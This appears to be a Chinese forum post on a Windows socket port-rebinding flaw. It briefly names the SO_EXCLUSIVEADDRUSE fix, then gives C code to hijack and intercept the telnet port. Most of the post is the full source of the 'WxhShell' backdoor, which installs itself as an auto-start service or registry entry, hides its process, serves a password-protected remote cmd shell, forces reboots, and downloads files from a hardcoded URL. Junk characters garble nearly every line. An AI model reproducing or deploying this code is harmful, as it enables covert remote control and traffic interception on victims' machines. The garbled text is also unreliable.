在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
r:-,qy s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
ykat0iqo yHYK,3/C, saddr.sin_family = AF_INET;
,,HoD~]rd
&-zW1wf saddr.sin_addr.s_addr = htonl(INADDR_ANY);
L| K8 OD;F{Hc bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
{DWL 5V#M [Lal_}m? 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
33z^Q`MTC IB\O[R$x 这意味着什么?意味着可以进行如下的攻击:
}NpN<C+ wlsq[xP 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
0 n}2D7 ,y}@I" 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
^ZPynduR #bCQEhCy 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
1=z6m7@'- 4U>g0 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
:`>bh (bp4ly^ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
|e{ ^Yf4 7tQ?av 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
8 @A}.: wU(!fw\ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
n4InZ!) p!>DA?vF #include
/^hc8X #include
Aa4 DJ #include
r&3EM[*Iw #include
%fMFcL#h DWORD WINAPI ClientThread(LPVOID lpParam);
R1vuf*A5, int main()
*%CDQx0} {
&t:~e" 5< WORD wVersionRequested;
g1v=a DWORD ret;
"DvhAEM WSADATA wsaData;
F4DJML-( BOOL val;
]8f$&gw&A SOCKADDR_IN saddr;
Dgc}T8R SOCKADDR_IN scaddr;
"6q@}sz! int err;
\c4D|7\= SOCKET s;
7Fzj&!>ti SOCKET sc;
sT'j36Nc<, int caddsize;
08G${@D+X0 HANDLE mt;
U(/8dCyyY DWORD tid;
weC.kx wVersionRequested = MAKEWORD( 2, 2 );
TpcJ1*t err = WSAStartup( wVersionRequested, &wsaData );
oLIgj,k{* if ( err != 0 ) {
Zk~~`h printf("error!WSAStartup failed!\n");
3HqTVq`& return -1;
pv8vW'G\E }
8_/,`}9
saddr.sin_family = AF_INET;
@Nn'G{8OG %>-?oor //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
=z zmz7op `Z^\<{z saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
[JYy
saddr.sin_port = htons(23);
:!yPR if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
~J HEr48 {
L$6W,D printf("error!socket failed!\n");
B$ jX%e{:S return -1;
G@P+M1c }
0+T:};] val = TRUE;
mJZB@m u? //SO_REUSEADDR选项就是可以实现端口重绑定的
-QK- w> if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
xX.kKEo"d {
'*D>/hn|:] printf("error!setsockopt failed!\n");
|j=Pj)5J return -1;
S!66t?vHB }
M|fC2[]v B //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
>i"WKd= //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
EY^?@D_< //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
$8}'h gg/2R?O] if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
:. u2^*< {
G=er0(7< ret=GetLastError();
RFPcH8-u7 printf("error!bind failed!\n");
Vsr"W@k_ return -1;
|$g} &P8; }
*!pn6OJ"Q} listen(s,2);
OwPXQ 3S while(1)
Jl<pWjkZZ {
P*n/qj8h caddsize = sizeof(scaddr);
o8Yq3N + //接受连接请求
G
> t sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
1zgM$p if(sc!=INVALID_SOCKET)
;3XOk+ {
m48Ab` mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
{YG qa$+\ if(mt==NULL)
p'A43 {
wLzV#8> printf("Thread Creat Failed!\n");
VTwQD"oB break;
!j%uwje\ }
U/-k'6=M }
KL./ CloseHandle(mt);
gC(@]% }
2fg
P closesocket(s);
p-xG&CU WSACleanup();
+8Y|kC{9" return 0;
g7{:F\S }
dQ_hlx!J DWORD WINAPI ClientThread(LPVOID lpParam)
C3'?E<F {
izzX$O[=: SOCKET ss = (SOCKET)lpParam;
Tgl > SOCKET sc;
PS8^= unsigned char buf[4096];
AH-BZ8 SOCKADDR_IN saddr;
\OXQ%J2v long num;
](FFvqA DWORD val;
v#EFklOP DWORD ret;
tSe[*V4{' //如果是隐藏端口应用的话,可以在此处加一些判断
t37<<5A //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
N<b~,[yCd> saddr.sin_family = AF_INET;
&8I}q]'k saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
SLRF\mh!L saddr.sin_port = htons(23);
+cM~| if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
h^
K]ASj {
[N#4H3GM8 printf("error!socket failed!\n");
Km,%p@`m return -1;
q0DRT4K }
[RY Rt/?Q val = 100;
=K_&@|f+B if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
|*DkriYY {
-{q'Tmst ret = GetLastError();
)x~/qHt return -1;
PEg]z }
4Y1dkg1y if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
ZtmaV27s/ {
'Yi="kno ret = GetLastError();
W23Q>x&S return -1;
Te`@{> }
e^,IZ{ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
|QD#Dx1_ {
;+.cD printf("error!socket connect failed!\n");
c3 )jsf closesocket(sc);
yZN~A: closesocket(ss);
o/Q|R+yXV return -1;
"
%qr*| }
:K 5?&kT while(1)
D)Ep!`Q
{
)U7fPKQ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
1wm`a //如果是嗅探内容的话,可以再此处进行内容分析和记录
^!x! F //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
81C;D`!K num = recv(ss,buf,4096,0);
M6bM`wHH> if(num>0)
'1(6@5tyWk send(sc,buf,num,0);
mHV{9J else if(num==0)
Ql%B=vgKL break;
UNK.39 num = recv(sc,buf,4096,0);
Nukyvse if(num>0)
V]GF53D send(ss,buf,num,0);
^tjw }sE else if(num==0)
!
,{zDMA break;
S^;;\0#NK }
~$C}?y^ a closesocket(ss);
!Z
0U_*& closesocket(sc);
$7W5smW/ return 0 ;
;9~
WB X" }
pwk Te ~)n[Vf <*WGvCh%w ==========================================================
3fA+{Y8S IsShAi 下边附上一个代码,,WXhSHELL
%-$BtR2@o U{/fY/kq ==========================================================
l~w^I|M^C _/'VD!(MV #include "stdafx.h"
T?QW$cU!e: `<g6^ P #include <stdio.h>
rS+) )! #include <string.h>
{M7`"+~w #include <windows.h>
a+\<2NXYD #include <winsock2.h>
5ba e- #include <winsvc.h>
>MSK.SNh #include <urlmon.h>
fVf:voh 9D Nd} rXO #pragma comment (lib, "Ws2_32.lib")
wy8Q=X:vP #pragma comment (lib, "urlmon.lib")
NbTaI{r wy
.96 #define MAX_USER 100 // 最大客户端连接数
^<;CIXo #define BUF_SOCK 200 // sock buffer
EpQy;#=; #define KEY_BUFF 255 // 输入 buffer
j7QK8O$XL 4/k`gT4 #define REBOOT 0 // 重启
e9
@{[ #define SHUTDOWN 1 // 关机
D~BL Txq g4W/T #define DEF_PORT 5000 // 监听端口
FRajo~H )QRT/, ;c #define REG_LEN 16 // 注册表键长度
}mzd23^W>P #define SVC_LEN 80 // NT服务名长度
|Olz h63k: `/'p1?Z" // 从dll定义API
1G.?Y3DC< typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
=.&8ghJ*M typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
K*{RGE typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
I>JE\## ^n typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
rsLkH&aM Dr(2@0P // wxhshell配置信息
MG~Z)+g=y struct WSCFG {
a!/\:4-uc int ws_port; // 监听端口
X 6tJ char ws_passstr[REG_LEN]; // 口令
x,]x>Up int ws_autoins; // 安装标记, 1=yes 0=no
JN4gH4ez) char ws_regname[REG_LEN]; // 注册表键名
_P!b0x~\ char ws_svcname[REG_LEN]; // 服务名
K;WQV, char ws_svcdisp[SVC_LEN]; // 服务显示名
]1XtV< char ws_svcdesc[SVC_LEN]; // 服务描述信息
J*MH`;- char ws_passmsg[SVC_LEN]; // 密码输入提示信息
a/J Mg int ws_downexe; // 下载执行标记, 1=yes 0=no
HfgTc
h char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
&VA^LS@b char ws_filenam[SVC_LEN]; // 下载后保存的文件名
71Za!3+ AIY 1sSK };
c*. *4NY"EwjN // default Wxhshell configuration
gzn:]Y^ struct WSCFG wscfg={DEF_PORT,
n|6G\99l+M "xuhuanlingzhe",
J(@" 7RX 1,
8Iu6r}k?~` "Wxhshell",
qg=`=]j "Wxhshell",
mXyN{`q= "WxhShell Service",
U;4i&=.! "Wrsky Windows CmdShell Service",
fM7B<eB "Please Input Your Password: ",
sve} ent 1,
h@\-]zN{ "
http://www.wrsky.com/wxhshell.exe",
{:*G/*1[. "Wxhshell.exe"
ej@4jpHQN };
?bt;i>O\ 88,hza`#V // 消息定义模块
U~)5 { char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
7M7Lj0Y)L char *msg_ws_prompt="\n\r? for help\n\r#>";
HR"clD\{Di char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
]u!s-=3s char *msg_ws_ext="\n\rExit.";
ZJU
%&@ char *msg_ws_end="\n\rQuit.";
sS;)d char *msg_ws_boot="\n\rReboot...";
*$|f9jVh char *msg_ws_poff="\n\rShutdown...";
^|p D(v char *msg_ws_down="\n\rSave to ";
LH)1IGAx2y J`)/\9'&& char *msg_ws_err="\n\rErr!";
+6$+]u] char *msg_ws_ok="\n\rOK!";
O8b#'f~ cW_wIy\]& char ExeFile[MAX_PATH];
J$42*S Y int nUser = 0;
f=}T^Z< HANDLE handles[MAX_USER];
ymqv@Byi8A int OsIsNt;
[j5+PV NK/y,f6 SERVICE_STATUS serviceStatus;
!-^oU" SERVICE_STATUS_HANDLE hServiceStatusHandle;
*]NfT}} W_E^+Wl@ // 函数声明
$Wj{B@k int Install(void);
_AX,}9 int Uninstall(void);
T9&{s-3* int DownloadFile(char *sURL, SOCKET wsh);
}T(=tfv@ int Boot(int flag);
;Ivv4u void HideProc(void);
%(p9AE int GetOsVer(void);
*EvW: < int Wxhshell(SOCKET wsl);
)mf|3/o void TalkWithClient(void *cs);
=v?P7;T int CmdShell(SOCKET sock);
VgIk '. int StartFromService(void);
H`fJ<So? int StartWxhshell(LPSTR lpCmdLine);
MGMJeqvr {*F
=&D VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
JxwKTFU'3O VOID WINAPI NTServiceHandler( DWORD fdwControl );
! J<Xel{ fX 1%I // 数据结构和表定义
KYw7Jx`l SERVICE_TABLE_ENTRY DispatchTable[] =
<=GZm}/]N {
E;s_=j1f {wscfg.ws_svcname, NTServiceMain},
^pd7nr~Y {NULL, NULL}
DJ<+" .v! };
.O'~s/h B !,&{[D
// 自我安装
>A X_"Q~ int Install(void)
hBnUpYec {
035jU ' char svExeFile[MAX_PATH];
o*/;Zp== HKEY key;
7F0J*M strcpy(svExeFile,ExeFile);
,'HjL:r RHn3\N // 如果是win9x系统,修改注册表设为自启动
*(1<J2j if(!OsIsNt) {
-*KKrte if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
$%\6"P/64 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
qMVuFwPhi RegCloseKey(key);
yOQae m^O if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
h[iO'Vq RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
iYvzZ7
8f RegCloseKey(key);
%m f)BC return 0;
C.:S@{sK }
M^Z=~512g }
!KOa'Ic$V }
e,p*R?Y{[ else {
[(_,\:L${ ,)*[Xa_n // 如果是NT以上系统,安装为系统服务
)uOtQ0 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
PkyX,mr#1 if (schSCManager!=0)
i&lW&] {
68h1Wjg:"! SC_HANDLE schService = CreateService
Mz(?_7 (
zEO~mJzo schSCManager,
'+{yg+#/wV wscfg.ws_svcname,
R|8L'H+1x wscfg.ws_svcdisp,
EG qu-WBS SERVICE_ALL_ACCESS,
z-kv{y*Hu
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
s<# BxN SERVICE_AUTO_START,
h7fytO SERVICE_ERROR_NORMAL,
|3E|VGm~ svExeFile,
//|B?4kk NULL,
ElpZzGj+ NULL,
x3FB`3y~s NULL,
r2+ZxMo| NULL,
ZT*}KJm NULL
bj@R[!ss );
$8U$.~v if (schService!=0)
S@3`H8 [ {
4(P<'FK $ CloseServiceHandle(schService);
F*#!hWtb CloseServiceHandle(schSCManager);
mMXDzAllB strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
_;5zA"~c#@ strcat(svExeFile,wscfg.ws_svcname);
q?mpvpLG if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
"IQYy~
/ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
>SvS(N{ RegCloseKey(key);
mMl len return 0;
nTo?~=b }
IFew3!{\ }
qF$y
p>|# CloseServiceHandle(schSCManager);
QOUyD;0IW }
!2HF|x$ }
,.(:b82$ BC_<1
c return 1;
R\3v=PR[ }
;}f {o^ ]' |-{e!& // 自我卸载
bws}'#-* int Uninstall(void)
zE1=P/N {
iR9duP+ HKEY key;
3GKKC9C6 k3t]lGp if(!OsIsNt) {
|pBFmm* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
D:j5/ * RegDeleteValue(key,wscfg.ws_regname);
R'tvF$3=i RegCloseKey(key);
A9@coP5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
m?yztm~u RegDeleteValue(key,wscfg.ws_regname);
--"5yGOL RegCloseKey(key);
w@R" g%k- return 0;
zfI{cMn'J }
s 7wA3|9 }
h@*I(ND< }
bXOM=T else {
{aV,h@> >6&Rytcc] SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
$Bc3| `K1v if (schSCManager!=0)
V >eG\ {
> O?<? SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
.YvIVQ if (schService!=0)
{na>)qzKP {
VhLfSN>W if(DeleteService(schService)!=0) {
}jC^&%| CloseServiceHandle(schService);
MtPdpm6\ CloseServiceHandle(schSCManager);
_i7yyt;h return 0;
XSN=0N!GB }
JBHPI@Qt% CloseServiceHandle(schService);
73S
N\ }
=2(52#pT CloseServiceHandle(schSCManager);
w{ _g"X }
'lpCwH }
4noy!h ,d lq2 return 1;
x|d? ' }
GSSmlJ` Dpu?JF] // 从指定url下载文件
6hR `sE int DownloadFile(char *sURL, SOCKET wsh)
jHE^d<=O^ {
XefmC6X HRESULT hr;
lcEK&AtK char seps[]= "/";
3rHn? char *token;
TUwX4X6m char *file;
e, 2/3jO char myURL[MAX_PATH];
2/A*\ char myFILE[MAX_PATH];
=~W=} b|E ZD3y strcpy(myURL,sURL);
b?,%M^9\` token=strtok(myURL,seps);
3Ur_?PM+C while(token!=NULL)
*]R5bj.!o {
aY.cx1" file=token;
pJ1\@G token=strtok(NULL,seps);
.)WEg|D0Ku }
3'i(wI~<[ X}x\n\Z GetCurrentDirectory(MAX_PATH,myFILE);
!"RRw&0M strcat(myFILE, "\\");
.=-a1p/ strcat(myFILE, file);
9I<~t@q5e@ send(wsh,myFILE,strlen(myFILE),0);
Sa@'?ApH send(wsh,"...",3,0);
=w`uZ;l$Q hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
v{"yrC if(hr==S_OK)
B6Ajcfy return 0;
{SXSQ '= else
~UeTV?) return 1;
!J@!2S9 /uR/,R++ }
o6~JAvw PP!-*~F0Jr // 系统电源模块
P{QHG 3 int Boot(int flag)
9MI9$s2y {
CDuA2e HANDLE hToken;
:Ru8Nm TOKEN_PRIVILEGES tkp;
o%;ly #6D>e~>n if(OsIsNt) {
!m-`~3P#l, OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
xw_)~Y%\ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
O(=9&PRi tkp.PrivilegeCount = 1;
#QcRN?s tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
@+p(% AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
)Qe]!$tqfD if(flag==REBOOT) {
]63!
Wc if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
{=Jo!t;f return 0;
q I~*G3 }
BB69U else {
52#6uBe if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
z6d0Y$A G return 0;
> cWE@P }
uCuB>x& }
LdNpb;* else {
ao .vB']T if(flag==REBOOT) {
Lr8|S if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
]'Ho)Q return 0;
, u%V% }
}KIS_krs else {
MVvBd3 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
#s\kF * return 0;
|%F4`gz8KP }
$2i@@#g8 }
+0Q +0: vbtZ5Gm return 1;
L1(-xNUo_i }
#<eD 1>L'F8" // win9x进程隐藏模块
U{[YCs fk void HideProc(void)
:@-yK8q's {
i(cKg&+ktd Ab j7 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
tQNrDp+ if ( hKernel != NULL )
C3f\E: D) {
6hYz^}2g pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
Xa?igbgAwx ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
em0Y' J FreeLibrary(hKernel);
kAPSVTH$v }
!yrh50tD iZeq
l1O return;
W,CAg7:* }
' F9gp!s8~ &<uLr
*+* // 获取操作系统版本
5n}<V-yJ*m int GetOsVer(void)
T=M##`jP% {
CZeZk OSVERSIONINFO winfo;
=4SXntU!e winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
9609 GetVersionEx(&winfo);
DQXcf*R if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Ny$3$5/ return 1;
GQ@mQ=i else
.RFH@'' return 0;
g.hYhg'KUh }
{GnZ@Q:F Cfd* Q // 客户端句柄模块
_FE uQ9E int Wxhshell(SOCKET wsl)
NjEi.]L*fX {
xYYa%PhIC SOCKET wsh;
?0*[
L struct sockaddr_in client;
2Zuo).2a. DWORD myID;
'#LzQ6Pn FG{les+: while(nUser<MAX_USER)
QdQ1+*/+U {
YMK ![ q- int nSize=sizeof(client);
K@cWg C wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
~KkC089D if(wsh==INVALID_SOCKET) return 1;
#m?)XB^_ 5toa@#Bc% handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
AL3iNkEa if(handles[nUser]==0)
t ;h`nH[ closesocket(wsh);
z5M6 else
-40X3 nUser++;
_ ~\} fY }
Is}kCf WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
&b5(Su 0^o/cSF return 0;
jED.0,+K! }
;e5PoLc +D]raU // 关闭 socket
0D@ $ void CloseIt(SOCKET wsh)
-/{FGbpR; {
{b4`\I@< closesocket(wsh);
=_|G q| nUser--;
ml1%C% ExitThread(0);
|M5#jVXj }
[yQ%g;m lbIPtu // 客户端请求句柄
XJ3sqcS void TalkWithClient(void *cs)
.|R4E {
N\|z{vn bK~Toz<k SOCKET wsh=(SOCKET)cs;
*OFG3 uM
char pwd[SVC_LEN];
&U|c=$!\ char cmd[KEY_BUFF];
!vR Zh('R char chr[1];
b- t int i,j;
`}=R
h L [ eA while (nUser < MAX_USER) {
W>d)( %ZWt 45A if(wscfg.ws_passstr) {
4FRi=d;mP if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
~,1Sw7rE //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
R`a~8QVh&5 //ZeroMemory(pwd,KEY_BUFF);
([<HFc` i=0;
$B%KkD while(i<SVC_LEN) {
Ta?}n^V?; jUA~}DVD // 设置超时
-W('^v_* fd_set FdRead;
;; +AdN5 struct timeval TimeOut;
Nv36#^Z FD_ZERO(&FdRead);
iD_y@+iz FD_SET(wsh,&FdRead);
KU` *LB: TimeOut.tv_sec=8;
T&]-p:mg^ TimeOut.tv_usec=0;
|JYb4J4Ni int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
LiT%d if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
d8jH?P-" -9= DDoO if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
OriYt pwd
=chr[0]; ;Hk3y+&]a
if(chr[0]==0xd || chr[0]==0xa) { (wZ!OLY%}
pwd=0; qovsM M
break; rn*'[i?
} ,*6K3/kW
i++; l|gi2~ %Y
} e
c]kt'
;i6~iLY
// 如果是非法用户,关闭 socket \M\7k5$
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); klm>/MXI`
} >bZ-mX)j\0
Ei @
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); MBA?, |9Q#
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5>f"
[%dsq`b#
while(1) { fS4W*P[B3
xE?KJ
ZeroMemory(cmd,KEY_BUFF); zs#-E_^%M
e3;D1@
// 自动支持客户端 telnet标准 a#r{FoU{M8
j=0;
J3
Q_
while(j<KEY_BUFF) { kMch
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )f:i4.M
cmd[j]=chr[0]; 2\1+M)
if(chr[0]==0xa || chr[0]==0xd) { .i4aM;Qy
cmd[j]=0; gp`@dn';
break; ;(`bP
} f't.?M
j++; K)LoZ^x0)
} mv8H:T
`X@\Zv=}
// 下载文件 d|NW&PG
if(strstr(cmd,"http://")) { Pqya%j
send(wsh,msg_ws_down,strlen(msg_ws_down),0); N
{
oVz],
if(DownloadFile(cmd,wsh)) F:ycV~bE
send(wsh,msg_ws_err,strlen(msg_ws_err),0); a4^hC[a
else :gwmk9LZ
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oa"Bpi9i
} I &iyj99n
else { $oQOOa@;i)
-@w,tbc$
switch(cmd[0]) { F7JO/U^oU
*%;A85V/
// 帮助 [y`Gp#
case '?': { |cY HH$
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %;:![?M
break; .2JZ7
} "H(3pl.
// 安装 cDz@3So.b
case 'i': { n?r8ZDJ'
if(Install()) .euAN8L
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @9 S ::
else *J[P#y
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Wu$ryX
break; Z .gb'
} EWDsBNZaI
// 卸载 PM[W7gT
case 'r': { j? BL8E'
if(Uninstall()) Q*#Lr4cm{
send(wsh,msg_ws_err,strlen(msg_ws_err),0); [m:cO6DM,
else _1gNU]"
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WMtFXkf6"
break; C:Rs~@tl
} vf3) T;X>
// 显示 wxhshell 所在路径 geyCS3
:p
case 'p': { Lbz/M_G
char svExeFile[MAX_PATH]; ;F@Sz/
strcpy(svExeFile,"\n\r"); Gxe)5,G
strcat(svExeFile,ExeFile); i`F5
send(wsh,svExeFile,strlen(svExeFile),0); ZiuD0#"!
break; C%yH}T\s
} o4FHR+u<M
// 重启 ,byc!P
case 'b': { <<d #
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); A Qjv?
4)T
if(Boot(REBOOT)) R5=J :o
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <T[LugI
else { 3'.3RKV
closesocket(wsh); R&W%E%uj
ExitThread(0); bDWLHdu
a
} 6Z#Nh@!+C
break; ~Re4zU
} Fc`IRPW<
// 关机 'Jf
LTG.
case 'd': { 85&7WAco"B
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $;Fx Zkp
if(Boot(SHUTDOWN)) Xf&YcHo
send(wsh,msg_ws_err,strlen(msg_ws_err),0); X:Z3R0
else { p)B/(%
closesocket(wsh); QoxYzln
ExitThread(0); Wd;t(5Xl
} h623)C;
break; MS""-zn<
} %^lD
// 获取shell tdRvg7v,N%
case 's': { L3I$ K+c
CmdShell(wsh); F*U(Wl=
closesocket(wsh); k5-4^
ExitThread(0); ~|=D.}#$
break; Q9OCf"n $
} B`eK_'7t
// 退出 cL#-vW<s3
case 'x': { *RS/`a;,
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Fya*[)HBo
CloseIt(wsh); A;rk4)lij
break; Rf4K Rhi
} c9 EtUv~
// 离开 _$$.5?4
case 'q': { }w4OCN\1
send(wsh,msg_ws_end,strlen(msg_ws_end),0); )=GPhC/sw
closesocket(wsh); }@6Ze$>
WSACleanup(); zl8M<z1`1
exit(1); YNV,
dKB
break; }6a}8EyFP
} bEcN_7
} *ilh/Hd>
} )I*(yUj
eV}" L:bgJ
// 提示信息 B\R X
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ShC$ue?Q
} k^ZP~.G
} W6>t!1oO+
Ci-Ze j
return; FLG"c690
} BJ5MCb.w
$`GlXiV
// shell模块句柄 8'@5X-nD
int CmdShell(SOCKET sock) 15J"iN2"W
{ Y910\h@V
STARTUPINFO si; ]CLM'$
ZeroMemory(&si,sizeof(si));
k a!w\v
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >(P(!^[f
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; lv/im/]v
PROCESS_INFORMATION ProcessInfo; l9uocP:D
char cmdline[]="cmd"; 3 orZBT
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); G 3U[)("
return 0; X[Ufq^fyA
} /v9qrZ$$
R/"f
// 自身启动模式 4r4 #u'Om
int StartFromService(void) T5T%[Gv
{ a6vej
typedef struct _ab8z]H
{ iw MxTty
DWORD ExitStatus; A'`F Rx(
DWORD PebBaseAddress; =| T ^)J
DWORD AffinityMask; Az y`4
DWORD BasePriority; .g}N@
ULONG UniqueProcessId; BNJ0D
ULONG InheritedFromUniqueProcessId;
Z:^#9D{
} PROCESS_BASIC_INFORMATION; (rhlK}
C
o} QP+
